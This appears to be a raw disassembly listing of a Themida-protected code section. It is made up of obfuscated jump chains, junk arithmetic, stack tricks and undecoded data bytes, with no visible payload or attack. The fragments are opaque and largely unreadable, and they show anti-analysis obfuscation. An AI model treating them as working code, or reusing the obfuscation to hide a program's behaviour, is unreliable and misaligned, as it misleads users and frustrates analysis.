0F759C889h dd 9EBB53D8h, 83668F67h, 348904ECh, 349FBE24h, 7E9023Eh dd 0BBFFFFB1h, 44464099h, 0CB81D3F7h, 7A87218Bh, 0C381DBF7h dd 0D7818C57h, 0E3E9DA31h, 29FFFFD1h, 488EE9E8h, 0F531FFFFh dd 8FE9555Eh db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59EB03: ; CODE XREF: Themida_:0059539Fj sub ebx, 64B142DEh push esi jmp loc_595C38 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFEF83Fh ; --------------------------------------------------------------------------- loc_59EB14: ; CODE XREF: Themida_:00596FB8j sub eax, 64072D1h mov edi, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] loc_59EB28: ; DATA XREF: Themida_:00597F1Eo mov esp, [esp] or eax, eax jnz loc_59A982 push ebp push ebx push 11DB0071h jmp loc_599BA6 ; --------------------------------------------------------------------------- byte_59EB3F db 66h ; DATA XREF: Themida_:0058E108o dd 0CE9028Fh db 0F8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_59EB47: ; CODE XREF: Themida_:0059E2EBj mov ecx, 628B1E46h add ecx, 0F9341CA2h dec ecx push eax mov eax, 71E21B1Bh push esi mov esi, 3EA046DAh inc esi shl esi, 3 xor esi, 1E2437B8h xor esi, 8A116D5Fh add eax, esi pop esi push esi jmp loc_594F25 ; --------------------------------------------------------------------------- dd 1677E953h, 0BB680000h, 89000046h, 0BB532434h, 44DB0D64h dd 0D102EBC1h, 0C5C381EBh, 0E9091DA1h, 0FFFF4DDEh, 68240489h dd 1409h, 50241489h, 35215BB8h, 58C28956h, 0F44D5BB8h dd 5AD0317Ah, 4308B951h, 0E5E96A2Dh, 68FFFF11h, 66F9h dd 0E9240C89h, 0FFFFB224h ; --------------------------------------------------------------------------- loc_59EBD0: ; CODE XREF: Themida_:0059277Ej add [esp+4], esi jmp loc_5A1AEC ; --------------------------------------------------------------------------- db 81h, 0EDh, 56h dd 0E941C049h, 0FFFFAE0Bh, 0E901C680h, 0FFFF8B36h, 6C33B12Dh dd 0C04B3518h, 5456AD78h, 15B8E9h, 1EC76800h, 2CE90000h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59EC07: ; CODE XREF: Themida_:00597D4Bj pop ebx add ebx, 2E1406B0h jmp loc_5916C6 ; --------------------------------------------------------------------------- db 89h dd 3EBDE9E3h, 0E52DFFFFh, 525E6F09h, 9468D5BAh, 50C28106h dd 0F75B2002h, 0E2F281DAh, 53252473h, 0B9C0E4BBh, 0E9DA295Bh dd 0FFFFE474h, 582414F7h, 0D100E235h, 58C7314Ah, 0FF20EAE9h dd 0C48358FFh, 4EC8104h, 0E9000000h, 0FFFFC31Ch, 272EE81h dd 895D18C1h, 0EE815EF7h, 6EE80297h, 1DDC681h, 0FE0153C0h dd 0FFA749E9h, 4C083FFh, 5C240487h, 1FA6E9h db 0 ; --------------------------------------------------------------------------- loc_59EC89: ; CODE XREF: Themida_:00597D3Ej sub ebx, 1FA3486Bh add ebx, 13F467C5h sub esp, 4 mov [esp], edx mov edx, 0 add edx, ebx sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], ebp mov ebp, 6427D79h xor [esp+4], ebp pop ebp pop dword ptr [edx] jmp loc_593263 ; --------------------------------------------------------------------------- db 5Ch dd 53242C89h, 2E95B54h db 1, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59ECCB: ; CODE XREF: Themida_:005A2859j push edi mov edi, 4 jmp loc_59F81F ; --------------------------------------------------------------------------- dw 78E9h dd 57FFFEF6h, 0C42DF3BFh, 83C7814Eh, 81375A44h, 0F252E4F7h dd 0F3EF8103h, 8144B212h, 595441F7h, 60C9E94Fh, 2958FFFFh dd 0C7015DEFh, 4EC81h, 14890000h, 6531BA24h, 8142133Bh dd 4727D2EAh, 81E2D153h, 8F9C64C2h, 5AD701CDh, 2BE5658h dd 1000000h, 24348BF7h, 4C481h, 3C870000h, 24248B24h, 9C2424D3h dd 0FEF60EE9h, 0CBE95EFFh, 5C000030h, 0FF0984E9h db 0FFh ; --------------------------------------------------------------------------- loc_59ED51: ; CODE XREF: Themida_:005A0F6Cj pop esp mov [esp], ebx push ecx mov cl, 11h mov bh, cl jmp loc_59EA07 ; --------------------------------------------------------------------------- loc_59ED5F: ; CODE XREF: Themida_:00593297j add eax, 4 xchg eax, [esp] pop esp jmp loc_59389D ; --------------------------------------------------------------------------- db 81h dd 0E9EE3EF7h, 0FA8952C9h, 0E95AD189h, 1575h, 7CE95366h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59ED83: ; CODE XREF: Themida_:0059D598j not ebp xor [esp], ebp xor ebp, [esp] jmp loc_590CE6 ; --------------------------------------------------------------------------- dd 0C681DE29h, 21DC0868h, 0FFD39CE9h, 0DEED81FFh, 125C8DEh dd 2434FFEFh, 0E189515Dh, 4C181h, 0C1810000h, 4, 5C240C87h dd 0CDBE5655h, 0BD6FBF6Ah, 6FBF6AC9h, 0FFA815E9h db 0FFh byte_59EDCD db 8Fh, 2, 0E9h ; DATA XREF: Themida_:0058E124o dd 0FFFEF57Fh, 4C8FC781h, 0C6812A34h, 1D3D3F2Bh, 0FF383FE9h dd 3C181FFh, 0E9C356C5h, 2FBEh aMh db '¬hÄ`',0 ; DATA XREF: Themida_:0058E0A0o align 2 dw 1C89h dd 0F67CB724h, 0EDE780D7h, 0F780D7F6h, 2795E9E8h, 0BABE0000h dd 0E9145C11h, 0CE1h, 260CC781h, 0EF817AF5h, 0E2969931h dd 2DE0ED81h, 0FD292FF0h, 2DE0C581h, 815F2FF0h, 4ECh, 242C8900h dd 0FF17DCE9h, 0B5685CFFh, 89000052h, 3481241Ch, 0E67F0424h dd 772E967h, 0D901FFFFh, 83241C8Bh, 0CA0104C4h, 8B2434FFh dd 0F7E9240Ch, 87FFFFF1h, 895C240Ch, 55682414h, 89000020h dd 5CE92404h, 0F6FFFF2Eh, 52EB80DBh, 0E95BDD00h, 0FFFFC693h dd 0E906E6C1h, 0FFFFF474h ; --------------------------------------------------------------------------- loc_59EE90: ; CODE XREF: Themida_:00590009j mov edi, [esp] add esp, 4 xor edx, [esp] jmp loc_591EC5 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C2h dd 40E56F2Dh, 0C1E9F201h, 42000002h, 0FFF81EE9h db 0FFh ; --------------------------------------------------------------------------- loc_59EEB5: ; CODE XREF: Themida_:005A021Cj push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_5A1EED ; --------------------------------------------------------------------------- dd 69E968h, 243C8900h, 0FFA421E9h db 0FFh ; --------------------------------------------------------------------------- loc_59EED5: ; CODE XREF: Themida_:0058F24Cj sub ebx, 0F845BF89h add eax, ebx pop ebx add eax, 66F67FC2h sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], eax jmp loc_59BA64 ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 56000000h, 0C681E689h, 4, 0FFCDF5E9h, 80D5F6FFh dd 0E83016EDh, 240C8B66h, 2802C483h, 24048BC3h, 2804C483h dd 8EE950C3h, 29FFFF68h, 71A3E9F2h, 0F747FFFFh, 0F78147D7h dd 960F9A9Ah, 0E95FFB01h, 0FFFFBBEAh, 0E9241C8Bh, 0FFFF0E43h dd 0E924148Bh, 0FFFF3B74h, 55597FBEh, 8BF30142h, 0C4812434h dd 4, 0FF429DE9h, 3EE2DFFh, 0E8016E70h, 0FFD8FBE9h, 0E95756FFh dd 0FFFFC356h, 9A0BE949h, 0C481FFFFh, 4, 1FE0E9h, 889FB200h dd 56E95AD0h, 8BFFFF22h, 6DE9241Ch, 81FFFF3Ch, 0E50A22C7h dd 81D7291Fh, 0E50A22EFh, 0FF5A5A1Fh, 0E95B2434h, 0FFFF2D13h dd 81D5F74Dh, 1A6EE2EDh, 12C2819Ch, 0E92F1819h, 0FFFF2AF5h dd 7320C681h, 0D6292E9Fh, 7320EE81h, 515A2E9Fh, 2229E9h dd 0E9F1B100h, 0FFFF1BEAh ; --------------------------------------------------------------------------- loc_59EFEC: ; CODE XREF: Themida_:00590B87j add ebp, ebx push ecx mov ecx, 5B5B42EDh add ebp, ecx pop ecx push dword ptr [esp] pop ebx push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5933E3 ; --------------------------------------------------------------------------- db 0FFh dd 815B2434h, 4C4h, 0AE95100h, 1FFFF54h, 0DEE95FFDh, 88FFFF3Bh dd 0F02858E6h, 0E91C045Ah, 0FFFF2C43h ; --------------------------------------------------------------------------- loc_59F034: ; CODE XREF: Themida_:005929ECj push ebx mov ebx, 737B7597h add ebx, 0FAB38D93h mov eax, ebx pop ebx sub esi, eax mov eax, [esp] add esp, 4 add esi, eax jmp loc_59890A ; --------------------------------------------------------------------------- loc_59F055: ; CODE XREF: Themida_:005A170Cj not dword ptr [esp] pop edi push ebx push edi mov edi, 6B50012Eh jmp loc_59D9C4 ; --------------------------------------------------------------------------- aO_0 db '»ÞO',1Bh,0 dw 68E9h dd 81FFFF92h, 103CE5EEh, 2434FF2Fh, 5854505Bh, 8F8E9h dd 4C48100h, 0E9000000h, 0FFFF4A68h ; --------------------------------------------------------------------------- loc_59F08C: ; CODE XREF: Themida_:00596595j shr eax, 3 jmp loc_59609B ; --------------------------------------------------------------------------- dd 0E92434FFh, 1304h, 0B60F665Dh, 0E0895000h, 3E48E955h dd 895CFFFFh, 9A68241Ch, 0E95AEA62h, 0FFFF7511h, 0BE243489h dd 2, 5E78EF81h, 0F4E97905h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F0CB: ; CODE XREF: Themida_:005911D3j pop esp jmp loc_591018 ; --------------------------------------------------------------------------- db 31h, 0F5h, 5Eh aSS_7 db ')è]é´+',0 align 4 dd 0E7E9E931h, 89FFFF6Fh, 62BE2434h, 17C6347h, 0C3815EF3h dd 1E252886h, 0A5EDC381h, 0D82143A7h, 53241C8Bh, 0C381E389h dd 4, 4C381h, 5FE90000h, 6800001Fh, 4CE6h, 0FFA473E9h dd 0C2815EFFh, 2, 5C241487h, 4B30F66h, 20E99C24h, 0BDFFFEF2h dd 4B417746h, 0E870C581h, 0E809EF28h, 0AFE9405Dh, 51FFFFF8h dd 72E94EB1h db 33h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F14F: ; CODE XREF: Themida_:005944BAj push 24BDh mov [esp], esp add dword ptr [esp], 4 pop edi push ebp jmp loc_5940B0 ; --------------------------------------------------------------------------- db 53h, 0BBh, 74h dd 0E937465Eh, 0FFFFD55Dh, 0F831E951h, 0CC88FFFEh, 83240C8Bh dd 0C48004C4h, 0E9E78837h, 0FFFF2386h, 8904EC83h, 1E9241Ch dd 81FFFEFDh, 4ECh, 24348900h, 0C681E689h, 4, 6B72B850h dd 0B9514A65h, 47427C14h, 65E9C829h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F1B7: ; CODE XREF: Themida_:0059CC9Dj pop ebx sub esi, 78D14CF4h add esi, eax add esi, 78D14CF4h mov eax, [esp] add esp, 4 jmp loc_59727B ; --------------------------------------------------------------------------- loc_59F1D4: ; CODE XREF: Themida_:0059FFF8j pop ebx push 3775h mov [esp], ecx push ebp push eax push esi jmp loc_58F251 ; --------------------------------------------------------------------------- loc_59F1E5: ; CODE XREF: Themida_:0059052Aj mov esi, 0C185745h dec esi sub esi, 0F5B1989h sub esi, 0FCBD3DB7h add ebx, esi jmp loc_59B0EC ; --------------------------------------------------------------------------- dw 815Ch dd 4D7A0FC5h, 92DFE906h, 0C681FFFFh, 4, 4EE81h, 34870000h dd 74685C24h, 0E9000073h, 0FFFF3872h, 0E924348Bh, 1E8Bh dd 515F5457h, 0FEF4BEE9h db 0FFh byte_59F235 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058E134o aHI db '$hšI',0 align 2 dw 2C89h dd 0E95D5424h, 0FFFF0E32h, 0E959E828h, 0FFFFCAA6h, 348BF789h dd 4C48124h, 81000000h, 60082444h, 115C926h, 8108247Ch dd 6008246Ch, 5F15C926h, 0B488E95Ah, 248BFFFFh, 0FC00B24h dd 1BF384h, 1C77FF00h, 0FF2434FFh, 55592434h, 0FF9AA2E9h db 0FFh ; --------------------------------------------------------------------------- loc_59F291: ; CODE XREF: Themida_:005981E3j pop ebp push ebp mov ebp, esp add ebp, 4 jmp loc_59846E ; --------------------------------------------------------------------------- dd 14CBEA81h, 875D0FEAh, 248B2414h, 0FC90B24h, 0FF640884h dd 0E78957FFh, 0FFE42CE9h db 0FFh aNhP db 'h',1Bh,'P',0 ; DATA XREF: Themida_:0058E19Co dw 0E900h dd 0FFFF15D9h ; --------------------------------------------------------------------------- loc_59F2C8: ; CODE XREF: Themida_:005A00C7j add esp, 4 jmp loc_596E15 ; --------------------------------------------------------------------------- loc_59F2D0: ; CODE XREF: Themida_:0058F85Cj pop ebx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xchg edi, [esp] mov esp, [esp] mov [esp], eax push esp jmp loc_58F058 ; --------------------------------------------------------------------------- db 89h dd 24BA2414h, 0E9000000h, 18BCh ; --------------------------------------------------------------------------- loc_59F300: ; CODE XREF: Themida_:0058F142j mov ecx, [esp] add esp, 4 shl ebx, 5 push eax mov eax, 250F1F13h add eax, 49443F1h add ebx, eax pop eax sub edx, ebx pop ebx mov eax, [esp] add esp, 4 push 2C1Dh mov [esp], edx pop ecx push dword ptr [esp] pop edx add esp, 4 mov eax, ecx pop ecx jmp loc_5A1BCC ; --------------------------------------------------------------------------- loc_59F33B: ; CODE XREF: Themida_:00597D8Aj not edi xor edi, 122A52B8h shr edi, 2 xor edi, 3D460086h and edi, 66250DE6h sub edi, 0FD29A91Ch xor esi, edi pop edi and edx, esi pop esi add edx, 1 sub edx, 204B41FBh add edx, 0C3300DEh push edx xor dword ptr [esp], 36AF26F8h pop edi jmp loc_59ABDB ; --------------------------------------------------------------------------- dw 0EDC1h dd 0EDF58107h, 0F7560067h, 54F581D5h, 0E99279CDh, 0FFFF4916h dd 24348759h, 66F8305Ch, 81241C8Bh, 2C4h, 0D7C4E900h, 0A2B9FFFFh dd 0E90EEC59h, 2EE7h, 42474FFh, 24048F5Dh, 2124248Bh, 242C8BE9h dd 348B5456h, 4C48124h, 0E9000000h, 0FFFFF33Ch, 4454EB81h dd 5E594533h, 4BA52h, 0D3010000h, 0FFE240E9h db 0FFh ; --------------------------------------------------------------------------- loc_59F3E9: ; CODE XREF: Themida_:0059046Ej xor edx, 3DF23994h dec edx sub edx, 0DE842908h xor edi, edx pop edx pop eax mov esi, [esp] add esp, 4 jmp loc_593280 ; --------------------------------------------------------------------------- dd 5631F568h, 0ECE95A1Dh, 5AFFFF3Bh, 8004E4C0h, 0C480FFECh dd 0B0B65201h, 6608E6C0h, 891B551h, 0C05966EEh, 0EE8004E6h dd 0D7EE8050h, 0FF0A0CE9h, 0FCC781FFh, 0E9FD7FEFh, 0FFFF0F31h ; --------------------------------------------------------------------------- loc_59F444: ; CODE XREF: Themida_:00591305j pop ecx inc ecx push ebx jmp loc_5974DC ; --------------------------------------------------------------------------- dd 43EDF781h, 0FB895952h, 81243C8Bh, 4C4h, 0E9DA3100h dd 0FFFF7EFAh ; --------------------------------------------------------------------------- loc_59F464: ; CODE XREF: Themida_:0059ADE0j pop ebx jmp loc_5A0E39 ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 4E88300h, 5C240487h, 0E9240C89h, 2038h, 0A8E9E789h db 32h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F487: ; CODE XREF: Themida_:0059C2CAj mov esi, 443251A6h jmp loc_59DA91 ; --------------------------------------------------------------------------- db 0B1h, 0B0h, 0E9h dd 0FFFFE26Bh, 0E2A1E959h, 8956FFFFh, 4C681E6h, 81000000h dd 4EEh, 24348700h, 241C895Ch, 0F2242C81h, 0E9202448h dd 0FFFFEC00h, 798F68h, 381DE900h, 0F7950000h, 716895D5h dd 89000007h, 0E2BE2434h, 1351917h, 0E9535EF0h, 0FFFFA92Ah dd 2C89C680h, 51F02816h, 47E916B1h, 68FFFF3Ch, 7CC6h, 0FF240C89h dd 0E9042474h, 0FFFFD0F2h, 10F9C781h, 0C7810AD9h, 56AD0BC5h dd 21E9C729h, 5CFFFFA3h, 782D68h, 243C8900h, 0E92434FFh dd 0FFFFC956h ; --------------------------------------------------------------------------- loc_59F528: ; CODE XREF: Themida_:00599D86j push 27F51312h jmp loc_5A058D ; --------------------------------------------------------------------------- loc_59F532: ; CODE XREF: Themida_:0058E728j movzx eax, al push dword ptr [edi+eax*4] push 73h mov [esp], esi push eax jmp loc_59C2C5 ; --------------------------------------------------------------------------- dw 0FF5Ch dd 48B2434h, 4EC8124h, 89000000h, 0DCE9242Ch, 0B5FFFF5Ah dd 9FC58089h, 0E908EDC0h, 0FFFF89CDh, 0C381D301h, 65274136h dd 0FFAB77E9h, 0E91D2CFFh, 0FFFF18E5h, 2E69332Dh, 9B61E977h dd 0C509FFFFh, 8124048Bh, 4C4h, 6CE58100h, 50429E1Dh, 0BF3B52B8h dd 58C53106h, 0FF3634E9h, 56515EFFh, 0C2527C68h, 0F7565E4Dh dd 815E2414h, 5B1F43C6h, 0C4F6817Eh, 563098CCh, 0FF431AE9h dd 66CB00FFh, 0B0506659h, 5EC380ECh, 81E9C300h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F5D7: ; CODE XREF: Themida_:00591A51j pop edi push ecx mov ecx, 1FDE3EB2h jmp loc_59B852 ; --------------------------------------------------------------------------- db 59h dd 4C181h, 0E7680000h, 89000070h, 7168241Ch, 5B409C7Eh dd 8108EBC1h, 35213FCBh, 0E9F3810Ch, 0E97C17BCh, 0FFFF3636h dd 5A2434FFh, 4C481h, 0F0680000h, 89000065h, 0FCE92414h dd 0C1FFFF25h, 0ABE908EDh, 29000034h, 0F0E955CBh db 30h, 2 dup(0) byte_59F633 db 0FFh ; DATA XREF: Themida_:0058E0BCo dd 48B2434h, 0E0895024h, 405h, 40500h, 4870000h, 0D6685C24h dd 8900006Dh, 0E589242Ch, 175368h, 240C8900h, 4B9h, 39D0E900h dd 0C3310000h, 24148B66h, 76E95455h, 89FFFF48h, 9C502414h dd 0FEECD6E9h, 48F5EFFh, 7801E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F686: ; CODE XREF: Themida_:005A17CDj add ebp, 4 push edi mov edi, 4 add ebp, edi pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_59E71B ; --------------------------------------------------------------------------- loc_59F6A3: ; CODE XREF: Themida_:005A0BCFj pop esp push eax sub esp, 4 mov [esp], ecx jmp loc_596DE4 ; --------------------------------------------------------------------------- db 0B9h dd 3CA80F02h, 0E958C101h, 0FFFF956Dh, 2D70DABBh, 0E9D82972h dd 0FFFF01A0h, 0F6752AB9h, 0F2B4E913h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_59F6D6: ; CODE XREF: Themida_:0059ABD6j push ebp jmp loc_59854F ; --------------------------------------------------------------------------- dd 0EB885358h, 595BDC88h, 0FFCCA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_59F6E9: ; CODE XREF: Themida_:005A0CBAj pop esp jmp loc_594A85 ; --------------------------------------------------------------------------- loc_59F6EF: ; CODE XREF: Themida_:0059691Bj mov eax, 1 jmp loc_5973E0 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 5224148Bh, 0C281E289h, 4, 0FFB681E9h db 0FFh ; --------------------------------------------------------------------------- loc_59F711: ; CODE XREF: Themida_:005973BEj pop esi xchg eax, [esp] jmp loc_5A24FA ; --------------------------------------------------------------------------- loc_59F71A: ; CODE XREF: Themida_:00593BE1j push ecx jmp loc_5A0C76 ; --------------------------------------------------------------------------- loc_59F720: ; CODE XREF: Themida_:0059B1DAj add ecx, ebx pop ebx jmp loc_598E6D ; --------------------------------------------------------------------------- dd 815AD321h, 0B631BAE3h, 2EBC11Fh, 8107E3C1h, 801400F3h dd 0E9D98940h, 0FFFEF39Ah ; --------------------------------------------------------------------------- loc_59F744: ; CODE XREF: Themida_:0059900Ej sub esp, 4 mov [esp], ecx pop ebx jmp loc_59B040 ; --------------------------------------------------------------------------- db 33h dd 2C31242Ch, 3BB2E924h, 0ED81FFFFh, 7BE5B25Eh, 575DEB01h dd 4BFh, 5FFB0100h, 31241C33h, 2FE9241Ch, 8BFFFF85h, 0F2682414h dd 8900004Fh, 5F54243Ch, 1199BE56h, 0E6C118FFh, 7E6C107h dd 673BBA52h, 0BF57038Eh, 150E0F00h, 14EDEF81h, 61E94857h db 0F1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_59F7AB: ; CODE XREF: Themida_:005983F9j push dword ptr [esp] pop edi add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- dw 4BAh dd 1000000h, 0BE565AD1h, 4, 875EF129h, 248B240Ch, 242C8924h dd 8956E589h, 2DBFE9E6h, 0CD81FFFFh, 6FC12F93h, 2EFAC581h dd 0F4E90B4Eh, 55FFFFF2h, 4BDh, 5DEE0100h, 75F368h, 240C8900h dd 0FFF069E9h, 399BBDFFh, 0DCE9210Bh db 27h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F81F: ; CODE XREF: Themida_:0059ECD1j add ebx, edi pop edi jmp loc_59C9E3 ; --------------------------------------------------------------------------- db 0F7h dd 1C91E9D6h, 0C483FFFFh, 241C8B04h, 53E08950h, 0FFC04BE9h db 0FFh byte_59F83D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0058E080o dd 4EC8324h, 0FF5E44E9h, 88535BFFh, 5BF988C7h, 8324048Bh dd 0BC6804C4h, 89000006h, 0F1E92414h, 0C1FFFF34h, 0E95202E3h dd 0FFFFA19Dh, 8B2434FFh, 0C4832404h, 50B66804h, 14890000h dd 1F09E924h, 2C89FFFFh, 5C7CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F88A: ; CODE XREF: Themida_:00599678j add esp, 4 add edi, 0FFFFFFFFh push ebp mov ebp, 7FC42D93h sub edi, ebp mov ebp, [esp] add esp, 4 and eax, edi push dword ptr [esp] mov edi, [esp] push 710Eh mov [esp], ecx push esp pop ecx push eax jmp loc_59AF8B ; --------------------------------------------------------------------------- db 1, 0FDh, 0E9h dd 0FFFFCAE9h, 0C2095E58h, 8124048Bh, 4C4h, 7AF28100h dd 314626D3h, 0BF575AD1h, 24F63685h, 0FFA7D5E9h db 0FFh ; --------------------------------------------------------------------------- loc_59F8E1: ; CODE XREF: Themida_:0059D2C8j xor esi, [esp] pop esp div ecx jmp loc_58EA55 ; --------------------------------------------------------------------------- dd 4E1FB850h, 8FE94192h, 81FFFFFCh, 0FF1889E5h, 0B2F5815Eh dd 81490878h, 3EBE39F5h, 0A8CBE9BBh, 3487FFFFh, 0E550E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F916: ; CODE XREF: Themida_:0059CB90j mov edx, 4 jmp loc_5919B7 ; --------------------------------------------------------------------------- dd 0C581DDF7h, 24C868E7h, 335DEB01h, 1C31241Ch, 241C3324h dd 0FF24248Bh, 535A2434h, 577268h, 24248900h, 31C9E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59F94A: ; CODE XREF: Themida_:005A00FEj pop ebx sub ebx, esi pop esi sub ebx, 61E73299h sub ebx, 5A13A3Dh sub ebx, eax add ebx, 5A13A3Dh push edx jmp loc_591F86 ; --------------------------------------------------------------------------- dd 0C46B2EBFh, 72BFB871h, 0F82975E9h, 0FFA7E8E9h, 4BB53FFh dd 1000000h, 0C0835BD8h, 24048704h, 5724248Bh, 4F473568h dd 0CF815F77h, 31551086h, 5B48BB53h, 0EB811918h, 0B7DF8292h dd 3E9DF29h, 55FFFF8Bh, 242C8B5Bh, 4C481h, 0DD010000h dd 242C335Bh, 33242C31h, 248B242Ch, 243CD324h, 2323E99Ch dd 0F2010000h, 268515Eh, 59000000h, 7B89C281h, 0CA2901F6h dd 0FFD5ACE9h, 241C8BFFh, 4C481h, 0CA010000h, 1EFEA81h dd 0C8B5FEBh, 4C48324h, 5C241487h, 9C240420h, 0FEE94AE9h dd 81DFF7FFh, 0AF3B2FEFh, 4EC8112h, 89000000h, 0F7BB241Ch dd 296A4A5Ah, 41E95BDFh, 81FFFFA3h, 5858E8C9h, 93BE5638h dd 816AEF15h, 461A2EC6h, 86E6811Fh, 8143EC46h, 1338F8CEh dd 65F68144h, 0E91EB949h, 0FFFFBCC6h, 243C8B5Fh, 57E68956h dd 4BFh, 5FFE0100h, 4C681h, 0EC830000h, 0C6B4E904h, 0C481FFFFh dd 4, 2000C681h, 0BB53649Fh, 4A1A3A8Bh, 61E94343h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59FA87: ; CODE XREF: Themida_:0059BDACj mov esi, [esp] add esp, 4 add esi, 38D16270h push esi pop eax jmp loc_5A15E7 ; --------------------------------------------------------------------------- db 51h, 0E9h, 1 dd 81FFFFD8h, 0ED749FF3h, 8E3C120h, 650CF381h, 2CE91C71h dd 68FFFF42h, 1D5h, 0E9243C89h, 0FFFF5102h, 4BE9FB01h dd 5EFFFF34h, 5BBB6653h, 8C3DE934h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FAD6: ; CODE XREF: Themida_:00599F35j mov ebp, esp jmp loc_5A215D ; --------------------------------------------------------------------------- db 54h, 0E9h, 0BBh db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FAE3: ; CODE XREF: Themida_:005985CAj push ebx mov ebx, 4F6C127Ch add eax, 5BED2903h add eax, ebx jmp loc_5A1A6B ; --------------------------------------------------------------------------- db 56h, 81h, 2Ch dd 0EE291D24h, 0C3815B42h, 42EE291Dh, 0FEF8D2E9h, 48E954FFh dd 5200002Fh, 0FFF47CE9h, 42BABEFFh, 0E6814FBCh, 18A02D7Bh dd 9FB3EE81h, 0F089CCDAh, 0FF2E7EE9h db 0FFh byte_59FB2D db 8Bh, 2 dup(24h) ; DATA XREF: Themida_:0058E130o dd 0FEE81EE9h db 0FFh ; --------------------------------------------------------------------------- loc_59FB35: ; CODE XREF: Themida_:005924BCj xor ebp, [esp] mov esp, [esp] inc byte ptr [esp] pushf jmp loc_58E353 ; --------------------------------------------------------------------------- dword_59FB44 dd 582434FFh, 4EC81h, 14890000h, 0B0E95424h, 29FFFF72h ; DATA XREF: Themida_:0058E094o dd 0FFED81FDh, 55554F4Eh, 242C8B5Fh, 4C481h, 0B8500000h dd 0 dd 0FF59AAE9h, 4BAFFh, 0D0290000h, 0DCE9505Ah, 8BFFFF90h dd 0C4812414h, 4, 0BB53E1D1h, 3BEDE84h, 15BD931h, 11A4E9CBh dd 0C483FFFFh, 2976E904h, 0FA880000h, 0FFAB0DE9h, 0FAE780FFh dd 82BF780h, 241C8BF9h, 4C481h, 4AE90000h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FBC3: ; CODE XREF: Themida_:00597CDEj pop ebx jmp loc_597EC6 ; --------------------------------------------------------------------------- db 0C0h, 0E4h, 2 dd 804EC480h, 0A0E958EEh, 57FFFF8Ah, 336D3BBFh, 5ECF8119h dd 0E96C6E6Ch, 0FFFF4816h, 405h, 2BF5700h, 29000000h, 0FF505FF8h dd 0E9042474h, 0FFFF933Ah, 0BD555753h, 221F1B88h, 0FFE1BAE9h dd 4C481FFh, 51000000h, 0C22EE952h, 5166FFFFh, 0FF242C80h dd 0FF9D45E9h, 5D0D40FFh, 0E9319153h, 0FFFF2F7Dh, 8124048Bh dd 4C4h, 5D545500h, 4C581h, 0C5810000h, 4, 0E9242C87h dd 0FFFFB73Eh, 77FFEB81h, 0E1E97331h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FC5B: ; CODE XREF: Themida_:00596531j mov esi, 4CE100D8h dec esi xor esi, 2636EE7h jmp loc_5954F3 ; --------------------------------------------------------------------------- dd 0E2895251h, 4C281h, 0EA810000h, 4, 0E9241487h, 0FFFFABFAh ; --------------------------------------------------------------------------- loc_59FC84: ; CODE XREF: Themida_:00597B69j xor [esp], ecx push dword ptr [esp] jmp loc_59E178 ; --------------------------------------------------------------------------- loc_59FC8F: ; CODE XREF: Themida_:0059E381j add ebp, edx pop edx jmp loc_594F7D ; --------------------------------------------------------------------------- db 89h dd 31B9240Ch, 3121149Dh, 0F83159CFh, 232355Fh, 0C22110F3h dd 0FFC28358h, 56CBF281h, 91E9253Bh db 2Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FCBB: ; CODE XREF: Themida_:0058FCC5j and esi, 39CC29F5h jmp loc_5A12C0 ; --------------------------------------------------------------------------- dw 5066h dd 6602EC83h, 0E9241489h, 0FFFF24DCh ; --------------------------------------------------------------------------- loc_59FCD4: ; CODE XREF: Themida_:005A2EA8j push ebx xor dword ptr [esp], 532124CAh pop edi jmp loc_5A0A17 ; --------------------------------------------------------------------------- loc_59FCE2: ; CODE XREF: Themida_:0058EEF9j pop ecx sub [esp+4], eax mov eax, [esp] add esp, 4 jmp loc_5A0BC3 ; --------------------------------------------------------------------------- loc_59FCF5: ; CODE XREF: Themida_:00591ECBj pop esp mov [esp], cx jmp loc_58E353 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 243C8900h, 0C781E789h, 4, 4EC81h, 0C890000h, 6A9CB924h dd 0D9F70D5Ah, 1115E181h, 8751300Fh, 0D1F7240Ch, 0FF3CDCE9h dd 581888FFh, 241C8B5Ah, 0FF9E2FE9h db 0FFh ; --------------------------------------------------------------------------- 